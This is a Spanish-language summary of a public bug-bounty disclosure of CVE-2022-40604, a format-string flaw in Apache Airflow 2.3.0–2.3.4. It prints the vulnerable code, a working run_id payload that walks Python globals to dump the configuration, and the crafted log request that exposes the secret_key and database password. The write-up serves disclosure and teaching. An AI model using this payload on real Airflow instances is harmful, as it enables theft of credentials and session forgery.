Reports
CRÍTICA[OTRAS INYECCIONES]#1707287

CVE-2022-40604: format string en Apache Airflow permite leer secret_key y la conexión a la base de datos vía run_id

Airflow 2.3.0-2.3.4 pasaba por str.format() una URL de logs que incluía el run_id del usuario. Un run_id manipulado permitía recorrer objetos de Python y sacar la configuración, incluida la secret_key.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Apache Airflow, entre las versiones 2.3.0 y 2.3.4, tenía una vulnerabilidad de cadena de formato controlada externamente (CWE-134) en el manejador de logs de tareas, src/airflow/utils/log/file_task_handler.py. Para pedir los logs de una tarea al servidor de logs del worker, el código construía la URL así:

url = os.path.join("http://{ti.hostname}:{worker_log_server_port}/log", log_relative_path).format(
  ti=ti, worker_log_server_port=conf.get('logging', 'WORKER_LOG_SERVER_PORT')
)

El problema es el orden: primero se une la plantilla con log_relative_path y después se aplica .format() a la cadena completa. log_relative_path se construye, entre otras cosas, con el run_id de la ejecución del DAG, y ese valor lo puede elegir el usuario al lanzar un DAG. Cualquier {...} que meta en el run_id acaba interpretado por str.format() de Python, que permite acceder a atributos e índices de los objetos que recibe (aquí, ti, la instancia de la tarea). Desde ahí se puede navegar hasta los globales del módulo y volcar el objeto de configuración de Airflow.

El fallo lo reportó al Internet Bug Bounty (IBB) el investigador leixiao (Apache lo acredita como L3yx, de Syclover Security Team). Se le asignó el CVE-2022-40604, con severidad crítica, y hubo recompensa, aunque el importe no es público. Se envió el 21 de septiembre de 2022 y se divulgó el 18 de enero de 2025.

Pasos de reproducción

  1. En la interfaz web de Airflow, abre el menú DAGs, elige cualquier DAG y pulsa Trigger DAG w/ config.
  2. Como run_id pon el siguiente valor y lanza la ejecución:
{ti.task.__class__.__init__.__globals__[conf].__dict__}
  1. Ve a la página /xcom/list/ y entra en la tarea correspondiente a esa ejecución.
  2. Pulsa en la opción Log y captura la petición con un proxy. Será parecida a esta:
/get_logs_with_metadata?dag_id=example_xcom&task_id=push_by_returning&map_index=-1&execution_date=2022-08-29T13%3A25%3A11%2B00%3A00&try_number=1&metadata=null
  1. Cambia try_number por un número de intento que no exista, por ejemplo 9999:
- /get_logs_with_metadata?dag_id=example_xcom&task_id=push_by_returning&map_index=-1&execution_date=2022-08-29T13%3A25%3A11%2B00%3A00&try_number=1&metadata=null
+ /get_logs_with_metadata?dag_id=example_xcom&task_id=push_by_returning&map_index=-1&execution_date=2022-08-29T13%3A25%3A11%2B00%3A00&try_number=9999&metadata=null
  1. Pega esa URL modificada en el navegador y ábrela. En la respuesta aparece el resultado del formateo, es decir, el contenido de la configuración.

Impacto

Según el investigador, con este fallo se obtiene mucha información sensible de Airflow:

  • La secret_key de la aplicación, con la que se pueden falsificar identidades.
  • La cadena de conexión a la base de datos, con su contraseña.
  • Otras opciones de configuración.

Además, se puede disparar desde cualquier DAG y estaba presente en entornos de producción, por lo que el investigador lo consideró crítico.

Remediación

Apache lo corrigió en el pull request apache/airflow#26337. Según el aviso de Apache, una parte de la URL se formateaba sin necesidad, lo que permitía extraer información. Afectaba a Airflow 2.3.0 a 2.3.4.

Qué aprender de este caso

  • Busca llamadas a .format() (o %) aplicadas a una cadena ya unida con datos de usuario, sobre todo tras os.path.join o concatenaciones de rutas y URLs: el formateo debe hacerse sobre la plantilla fija y solo después añadir la parte variable.
  • En Python, un format string controlado no es solo un problema de presentación: {obj.__class__.__init__.__globals__[...]} permite llegar a variables globales del módulo. Si encuentras uno, prueba a recorrer atributos desde los objetos que se pasan como argumentos.
  • Los identificadores que el usuario puede elegir libremente (como el run_id de un DAG) suelen acabar en rutas de ficheros y URLs internas; revisa por dónde viajan, no solo dónde se muestran.
  • Las ramas de error (aquí, pedir un try_number inexistente) a menudo ejecutan código distinto y menos revisado: fuerza esos casos al buscar fallos.